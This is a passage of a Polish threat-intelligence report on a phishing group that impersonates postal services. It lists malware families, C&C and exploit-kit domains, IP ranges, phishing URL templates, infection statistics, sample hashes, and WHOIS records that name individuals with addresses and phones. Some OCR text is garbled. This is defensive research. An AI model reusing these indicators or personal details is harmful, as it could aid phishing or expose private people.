uzytkownikow. Dlatego dostarczajac linki do programéw partnerskich, napastnicy zarabiali pie-
nigdze, ktére mozna byto w tatwy sposoéb wyprac wykorzystujgc do tego to samo kasyno. Rysu-
nek 10 przedstawia dwie z takich stron, jedng w jezyku angielskim i jedng w jezyku rosyjskim.

METOJ, H3MEHHUBIIHH MOTO KH3Hb THE METHOD THAT CHANGED MY LIFE

Bo3M0KHOCTB OJIy4aTh CTAOWIBHBIN 10X0/1, HE BHIXO/IA U3 IOMa,
cTaja A0CTYNHee, YeM Koraa-1mudo!
JT0 NmpocTo, ITO JIerajiLHo, 3T ObIcTpo!

Making steady income from home
is easier than ever.
It's simple! It's legal! It's quick!
elenatitova78(@mail.com . ;

- michelleclarke7o@mail.com
3apascrByiire, .
Mens 30BYT Ejtena . ¥ MeHS eCTh TPOE UY/ISCHBIX CBIHOBEH, Hi, . . .
HO, K HECHACTBIO, MOH MY NOrH0 B aBTOMOOHIbHOH My Name is Michelle . I have three beautiful
aBApIH TATB 7IET HAsaz] buys and ur}forlunatrl)- I lost my husband
J10 TOro, KAK IPOH30LLLIA 3T TPAreAus, 4 paloTala B KAUCCTBe ina car accident five years ago.
paspadoTuiKa CAliTOB JUIS COOOIECTBA OHIANH-HIP. Before my tragedy '}ﬂPPfﬂfd- 1 “Sed,m work
Mbl XOPOIIIO CHITH 1 HH B HeM He HY/CIATHCE: asa web developer in an n.nlm'e gaming company.
MO My3& MFOGILT BOSHTBCA € HALHMH CBIHOBBAMH, Life was good; we had a Nice INcome coming .
The kids were happy having their daddy
around, helping them, playing with them,
and cooking their favorite food.

HTPAT ¢ HHMH, TOTOBHI LIS HHX, ICTH 3HAIIH,
4TO Nana BCEra PAIOM H FOTOB IPHITH Ha
nomoub. 1 Gblla cHacTINBOH MaMoii i KeHOiH, N . ” .
¥ CaMOE ITIABHOE — HAM Y/1aBa/I0Ch IPOBOIHTD T'was happy having "’_“ Mom du:nes
Bpems ByecTe. Ho noTou carydmiace Gela - sorted out, and most important thing,
OHA CBAJIHIACD, KAK CHET HA TONIOBY. we had the weekends for traveling

51 M IPEICTABHTS HE MOTTIA, UTO B OJIHOYACKE and spenc.llng time together as a family.
NOTepsio MoGoBE Beeii CBOEI KI3HH. .| But then it happened. out of the blue,

Love of My Life is Gone!

Rysunek 10: Strony z przekretami zwigzanymi z kasynami
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Mozemy powigzac inne rodziny ztosliwego oprogramowania z Grupg Pocztowga. Niezaleznie
od tego, czy byty one uzywane jako droppery (Andromeda) czy posiadajg podobienstwa w budo-
wie (Banatrix, Hesperbot), uwazamy ze miaty one powigzania prowadzgce do Grupy Pocztowe].
Oczywiscie, w niektérych przypadkach moze to oznacza¢, ze Grupa Pocztowa zlecita napisane
malware'u.

3.7.1. Andromeda

Andromeda to bot, ktéry byt wykorzystywany gtéwnie jako dropper dla bardziej ztozonego
ztosliwego oprogramowania (jak np. Slave). Wysyta réwniez atakujgcemu pewne informacje o
zainfekowanym systemie. Poza tym, ze stuzy do dostarczenia innego ztosliwego oprogramowa-
nia, Andromeda posiada réwniez nastepujgce funkgje:

e Przechwytuje wszystkie zgdania POST wystane przez dowolng przegladarke. Pozwala to
atakujgcym przechwyci¢ hasta i loginy, ktore uzytkownik wprowadza.

e Ukrywa sie w systemie uzywajgc rootkita uruchamianego z prawami danego uzytkownika.

e Socks proxy - aby pozwoli¢ atakujgcemu na wykorzystanie maszyny jako aninimizujgcego
proxy.

3.7.2. Banatrix

Banatrix zostat szczegdtowo opisany w kilku postach na naszym blogu, zwtaszcza w "Banatrix
- szczegOty techniczne”. Jednak dzieli on ze Slave podobne nazewnictwo mutexdéw, fascynacje
Bitcoinami i podmiane numerdéw IBAN.

Wczesne wersje Slave byty wykorzystywane do podmiany dowolnego numeru konta banko-
wego znalezionego w tresci zgdania. Ponadto, Slave wykorzystuje mutex o nazwie __NTDLL_CORE__,
a Banatrix uzywana mutexu o nazwie __NTDLL_CORE__ [processID] w celu zainfekowania wielu
proceséw przegladarki. Zarowno Banatrix jak i Slave byty ukierunkowane na polskie banki i uzy-
waty polskich kont bankowych przy podmianie numeru. Chociaz mozemy tatwo powigzac Slave z
Grupg Pocztowa, Banatrix nie korzystat ze ztosliwego zakresu adreséw IP, a zamiast tego uzywat
AS52173.

3.7.3. Hesperbot

ESET w swoim raporcie o TorrentLockerze wigze ten malware z poprzednim Hesperbotem.
Chociaz nie analizowali Hesperbota i jego powigzan z Grupg Pocztowg, odnotowujemy tutaj ten
fakt dla petnej informacji.


http://www.cert.pl/news/9565
http://www.cert.pl/news/9565
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Malware OpFake Android tgczyt sie do domeny sub-host-peer.net (IP: 185.18.52.176). Jedna
z zapasowych domen - dynayo-rooxo-gabtype.net - rOwniez rozwigzywata sie na ten adres IP
od poczatku sierpnia 2015r. Obie z tych domen byty zarejestrowane przy uzyciu nastepujgcych
informacji:

Registrant Name: Smen Volozin

Registrant Organization: Private Person
Registrant Street: ul. nekrasova, 9, kv. 53
Registrant City: Pskov

Registrant State/Province: Pskov

Registrant Postal Code: 180000

Registrant Country: RU

Registrant Phone: +79816845362

Registrant Email: volozin.semen@yandex.ru
Korzystajac z nich wyszukali$my nastepujgce domeny zarejestrowane na tg samg osobe:
e mixpornotube.net (registered since 4th of August, 2014)
e varetz.net (registered since 4th of August, 2014)
e androidflv.net (registered since 4th of August, 2014)
e inter-host-media.in (registered since 4th of August, 2014)
e miniOpera.info (registered since 5th of August, 2014)
e androidbrowser.biz (registered since 5th of August, 2014)
e pornol8teens.net (registered since 5th of August, 2014)
e pornol8teens.com (registered since 5th of August, 2014)
e privateswingerclub.net (registered since 20th of August, 2014)
e crossfit-air.net (registered since 20th of April, 2015)

Domeny miniOpera.org i androidbrowser.org byty uzyte w kodzie JavaScript w phishingach na
Poczte Polska (zobacz 3.1). Nie jesteSmy jednak w stanie potgczy¢ domen z powyzszej listy z
jakakolwiek ztosliwg dziatalnoscia.

Jesli rozpoczniemy $ledzenie od pocztapolska.biz - domeny wykorzystanej w oryginalnym
ataku phishingowym - rozwigzywata sie ona na 46.161.30.225, czyli ten sam adres IP jaki byt
uzywany dla ponizszych domen:

e wholetdiedogsout.com (registered since 7th of May, 2015)
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e bounaromnabouna.org (registered since 18th of August, 2015)

Pierwsza z domen to serwer C&C ztosliwego oprogramowania Slave, ktore byto dystrybu-
owane poprzez phishing.
IP 46.161.30.225 nalezy do jednego z najciekawszych zakreséw IP, jakie kiedykolwiek widzie-

lismy:

inetnum: 46.161.30.0 - 46.161.30.255
netname: KolosokIvan-net

descr: Net for customer ID 12510
country: RU

admin-c: KI811-RIPE

tech-c: KI811-RIPE

status: ASSIGNED PA

mnt-by: MNT-PIN

mnt-routes: ISPSYSTEM-MNT

mnt-by: MNT-PINSUPPORT

created: 2013-09-04T08:54:417Z

last-modified: 2015-08-27T14:50:47Z

person: Kolosok Ivan
address: ul Lenina 19-56
phone: +380766553642
nic-hdl: KI811-RIPE

mnt-by: KolosokIvan

created: 2013-08-30T14:33:05Z

last-modified: 2013-08-30T14:33:05Z

Ten zakres adreséw IP byt wykorzystywany przez Grupe Pocztowg wytgcznie w ich atakach phi-
shingowych. Mozemy podzieli¢ go na kilka grup pod wzgledem zakresu IP i nazw domenowych:

e Domeny zwigzane z atakami phishingowymi na poczty i podobnymi (zobacz 3.1). Uzywane
zakresy IPto 46.161.30.10 - 46.161.30.15,46.161.30.200 - 46.161.30.203 i 46.161.30.220
- 46.161.30.225 z nastepujacymi przyktadami domen:

getyourpostrack.net polskapoczta.net

- drivewarning.org

poczta-polska.info

trackthingnotice.com

correosportal24.com

carefuldrive.net

correos-portal.net

poczta-sledzenie.com

polska-poczta.com au-violation.org

e Serwery C&C ztosliwego oprogramowania:
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- wholetdiedogsout.com (46.161.30.225) - Slave
- tweeter-stat.ru(46.161.30.16) - TorrentLocker

- walkingdead32.ru(46.161.30.17) - TorrentLocker

e Exploit kity hostowane na poddomenach legalnych domen, ktére zostaty tam umieszczone
przy wykorzystaniu skompromitowanych kont afraid. org (zakres 46.161.30.1-46.161.30.40)
z nastepujacymi przyktadami domen:

- firaridole.ecocentronatal.com.br - sejehepowa.descaracterizacao.com.br

- cihuyuvubo.redcarpetaffairs.co.uk - waxelokofo.cantamariaexpresso.com.br

- haseyetehu.yerkopetricic.cl .
- cirupopupe.banque.tw

- fewemuveba.darwinblocks.com.au
- hipovahaku.emall .kz
- vabavimune.deks-bud.pl

. . - pipolifoho.cosmic.al
- wiwoticeyo.ofertasnz.com.br pip

- jeyejogeye.rawmilkcanada.ca - lobukehali.bazarjesus.pt

- zergsased.nearys.co.uk - velonujuyi.mysystem.ec

e Oszustwa zwigzane z kasynami, oparte na rzekomych skutecznych metodach wygrania w
ruletke, ukierunkowane gtdwnie na matki, ktore chciatyby pracowa¢ z domu (zobacz 3.6).
Wykorzystany zakres adreséw IP to 46.161.30.4 - 46.161.30.7 z nastepujgcymi przykta-
dami domen:

mom-soldi-home-blog.com systememichellerevenu.com

einkommenhausmichelle.com

mamaprofitwork.com

mom-michelle-successo.com

systememichelle-revenu.com

elena-home-work.com

my-profit-method.com

e Nazwy domen zwigzane z branzg farmaceutyczng. Wszytskie rozwigzywaty sie na adres IP
46.161.30.226 z nastepujgcymi przyktadami domen:

webrxtopstore.com - rxwebstore.ru

bestomedoshopo.com
- rxmartonline.ru

storerxweb.ru

bluerxproduct.com - freebonusrx.com

e Domeny zwigzane z pornografig. Wykorzystane zakresy adreséw IP to 46.161.30.9,46.161.30.16
-46.161.30.2046.161.30.205 z nastepujgcymi przyktadami domen:

- 18pretty.net - grouphookupdate.com
- hentailake.com - mega-fuckbook.com

- amour-angels.pw - ihookup-tonight.com
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e Zakres 46.161.30.44 - 46.161.30.199 pozostat w wiekszosci niewykorzystany.

Podczas phishingowych kampanii pocztowych, bez wzgledu na kraj bedacy celem, zostaty wyko-
rzystane spojne schematy budowy URLi. Miaty one jedng z ponizszych form:

http://[domain name]/[5-8 random chars].php?id=[e-mail, base64 encoded]
http://[domain name]/system/logs/[5-8 random chars].php?id=[e-mail]
http://[domain name]/system/logs/[5-8 random chars].php?action=unsubscribe

Ostatnie dwa byly wykorzystywane jesli domena zostata zhakowana, a pierwszy gdy Grupa
Pocztowa kupita dang domene. Wymienione powyzej domeny byty stosowane gtéwnie jako do-
meny nadawcdw wiadomosci w celu podszycia sie pod legalne domeny wybranego urzedu pocz-
towego lub Australian Federal Police (AFP).

Niektére z wyzej wymienionych domen znajdowaty sie w pewnym momencie na réznych ad-
resach IP, gtébwnie rosyjskich, dostawcow hostingu. Tak wiec zakres IP wspomniany powyzej, nie
byt jedynym uzywanym przez atakujgcych. Na przyktad domena C&C Slave - wholetdiedogsout . com
- rozwigzywata sie na nastepujgce adresy IP:

e 46.151.53.40 (AS61214)
e 46.161.30.225
e 109.68.190.175 (AS52201)

AS61214 jest znany z hostowania serwerow C&C wielu typow ztosliwego oprogramowania, przy-
gotowanych akcji oszustw i jest czesto wykorzystywany przez spameréw. Ostatni adres, 109.68.190.175
hostowat réwniez nastepujgce domeny zwigzane z phishingiem skierowanym na australijskg
poczte (zobacz 3.1):

e auspost24.net e auspost-track24.net

e mail.auspost24.net e mail.auspost-track24.net

Co wiecej, jest to rowniez adres IP serwera C&C BetaBota umieszczonego na domenie bounaromnabouna. c
Inny ciekawy AS to AS6698 (SPD Solomaha Yuriy Vladimirovich). TO tu znajdowat sie adres

IP 176.97.116.164 dla niektorych C&C Slave'a. Jest to rowniez miejsce, w ktérym zostaty umiesz-

czone niektére wykonywalne pliki ztosliwego oprogramowania. Domeny, ktore byty rozwigzy-

wane na adres IP to:

e mymotherhascome.com
e gtagmanager.com

e bounaromnabouna.org



5. Statystyki

Dzieki Logical Trust, mogliSmy przeanalizowa¢ dane statystyczne dotyczgce kampanii phi-
shingowych, ktére podszywaty sie pod Poczte Polska. OtrzymaliSmy statystyki z trzech réznych
serwerdw, dokumentujgce jedng polskg kampanie phishingowa, ktéra miata miejsce w drugiej
potowie sierpnia 2015. Ponizej prezentujemy potgczone statystyki z wszystkich trzech serwerow.

e Interakcje ze strong: 15416 unikalnych adreséw IP,

e Liczba osbb jaka Sciggneta ztosliwe oprogramowanie: 6388 adresow IP.

Oznacza to, ze 41.4% osbb pobrato ztosliwe oprogramowanie w tej kampanii phishingowe;j.
To bardzo wysoki wskaznik sukcesu. Nie wiemy jednak, ile z tych oséb w rzeczywistosci sie nim
zainfekowato.
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Rysunek 11: Statystyki per kraj

Na rysunku 11 widac jak wielu uzytkownikéw z réznych krajow wyswietlito strone z phishin-
giem i pobrato zto$liwe oprogramowanie. Poniewaz kampania ta byta ukierunkowana na pol-
skich uzytkownikow, wykres oczywiscie przedstawia znaczng czes¢ ruchu pochodzacego z Polski.
Kampania ta byta réwniez ukierunkowana na dwa systemy operacyjne - Android i Windows. Ry-
sunek 12 przedstawia, ilu uzytkownikéw réznych systemdw operacyjnych i przegladarek wyswie-
tlito strone phishingowg i pobrato ztosliwe oprogramowanie. Oczywiscie, pobranie ztosliwego
oprogramowania nie oznacza, ze uzytkownik faktycznie sie nim zarazit.




5. Statystyki

Chrome Dev 44
Windows 7

Firefox 40

view
I Windows XP

Windows 8.1

Mobile browser

Windows Vista Firefox 39

I Android 4.4.2
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Rysunek 12: Statystyki wyswietlen z podziatem na przegladarke i system operacyjny

Ofiary ataku z podziatem na system operacyjny

System operacyjny Wyswietlenia Pobrania Procent pobran
Windows 7 6408 2624 40.9%
Windows XP 2244 832 37.0%
Windows 8.1 1786 770 43.1%
Windows Vista 549 236 43.0%
Windows 8 289 112 38.7%
Android 4.4.2 401 233 52.8%
Android 4.4.4 292 179 61.3%
Android 5.0.2 212 149 70.3%
Android 5.0 189 120 63.5%
Przegladarka Wyswietlenia Pobrania Procent pobran
Chrome Dev 44 3857 1613 41.8%
Firefox 40 3670 1518 22.7%
Mobile browser 1872 981 52.4%
Firefox 39 1419 508 35.8%
Internet Explorer 11 1320 547 41.4%
Safari 702 243 34.6%

Opera 31 524 236 45.0%




A. Skréty probek

A.1. Android

e com.android.system

- b566239£c3854276619d7c0c157b837£cda02b6878014549£524de4c89f57b37
e com.plpochta.app

- 3abObeaf860e12b318£97dfdc629c066e71b0891e1bfd92473db82b86cc93012
e com.mailpl.apps.pl

- 7cdf57ecab220399¢c45ddb92eed4bf1ac879ef4dbf150cbal90b546b77b50357
- 07£29192a339791a997c1ab8bab8fa24df£31a60924110a610ed04cd691dac80

A.2. Windows

e TorrentLocker / CryptOlocker

9d7dbb4de40e0ef8867500988653ceal3fa89a0c62dcc56a3739327£8a24d504

9424809a3ba8d40407c7d1f0cfc0b84446fa417a624043bb621879b42832108¢c
9eb68bd28del11fdfb397ba67605c3924d8d32e2ee5473209311ca608£212d4c2

91d8acd8f3c89b92c39acel385a67ac992faebeb6cf8£8c73b8b02e4edcb8deff

f9f7b0b949¢c1206¢c15b9f94702efb6d728988d4ae350748aa481cbf621136260
df87eac90c5f3f04ccf2e38b38c196a00a6c3b225d790bablcc97fbb6cbefb67al

e Slave

- 85c£88e113429393b4£0a4984£45dc0fb97e2a24b3c96£656607abe139504648
- bcb7677cfe84ee85418c018£4fb13811637£f05bc1234a9dd5e9be15d13a113ff

e Banatrix

7c4d4e98601b2ael1c4a27299ded2a15e635b317e£32f48£683da016ca77¢c1c9

61763d147bfc3e5d414084435e0a2f4ac75d6101d9865£5171ca2bb089750c3d

97ea009213e2d6ae53862f66cbc5ba64470a4e5057a59a05dbf7a9206123a4cl

85740d8deeel1cb968608ale99a2c2e825eeb4a0d8e4df1f2f4a35cceb6e8e15d3
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